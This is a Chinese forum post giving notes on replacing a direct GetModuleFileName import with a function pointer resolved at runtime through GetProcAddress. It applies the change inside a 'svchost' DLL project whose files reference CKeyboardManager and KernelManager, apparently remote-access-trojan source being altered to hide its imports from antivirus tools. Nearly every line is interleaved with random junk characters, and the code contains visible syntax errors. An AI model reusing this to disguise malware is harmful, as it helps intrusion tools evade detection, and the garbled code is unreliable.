[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
1 x* o$ x  v# `' Z) W1 tsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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7 W7 X5 u% V9 T/ Z* q6 m- I# m5 x4 |DTDY.h：
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#if _MSC_VER>10005 N. S( J- g8 w3 Q. X
#pragma once
  l' y$ |/ S5 z; M; |" }" h#endif //_MSC_VER>1000: U' `; ~6 H, b# M& X$ q
#include<windows.h>' |0 W3 f0 Z9 t
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
2 Q+ Y  L; c1 T, _1 `2 Z" Fclass DTDY! R( I! K1 k' |' _6 K/ ^
{
+ W/ S/ P% [( C: S, O5 A: Z! ipublic:
9 t, o; T* S; ^' Z' c$ v$ PDTDY();  j, ^) o; ~4 w5 m
virtual ~DTDY();
7 J( R( l: s- Y# Tpublic:1 H  X; o  H; d' w5 c! [8 S
static pGetModuleFileNameA MyGetModuleFileName;6 _, C, f  V' X, p0 t- a; e" y) u0 _
static BOOL FunInitiallization();: s% D2 |; ^. i5 T+ w8 a$ q" |: a  H
};
+ k  A2 _3 z& a  J; B$ S#endif
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! n# ]( h$ Y0 K7 b+ x' s- g) b! c3 gDTDY.cpp:2 I2 W. D+ k4 r, o* t  Z4 _

+ V3 j) C9 k  v% }# D8 \#include "DTDY.h"  d: T) h4 N6 O- B
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
; G6 H/ I2 \+ Y2 \5 ODTDY:TDY()- Q& c6 {# Q/ I3 r
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DTDY::~DTDY()
7 W, j; n/ P: [  W; C{
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' ^+ @. d5 N% sBOOL DTDY::FunInitiallization()
5 T$ D8 X$ b4 x7 h{
' g4 A6 i/ M* z7 yHMODULE hModule=LoadLibrary("kernel32.dll");  e1 p: k! N; O: C! }! Y
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
/ b4 A4 M2 t. G+ rif(!MyGetModuleFileName=) return FALSE;
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return TRUE;0 D' j- M9 N0 I0 s6 }  P' X
}
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/ M' D1 \  X+ n- Usvchost.cpp:
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#include "DTDY.h"- n5 B1 m8 x) `4 O! q% G

: k) B3 n" Z& O: N% r( lBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)& K2 \  _' P6 F8 Z: V, W; }
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switch(ul_reason_for_call)3 ~6 m3 S+ W2 Q; Q
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case DLL_PROCESS_ATTACH:
% C. E$ \: M, E! L& p" y9 Uif(!DTDY::FunInitiallization()) return FALSE;! X" t# Y3 M/ Y# H
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break;: g9 M% V) U/ P6 \
}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 B; v" f; S6 q4 M! u8 _) _
改写为8 S5 ?& ^/ y% N5 O
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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; q+ Y8 ~, p' e+ {) Y2 o#include "../DTDY.h"
/ v( s/ {1 [" `0 m/ x  y0 v& @GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
, h: Z6 L- k7 P$ e* ?0 X$ {4 q& S改写为8 z. r. s2 B9 F8 B3 E. Q, A
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));- n, `& ]0 [6 P0 J" F
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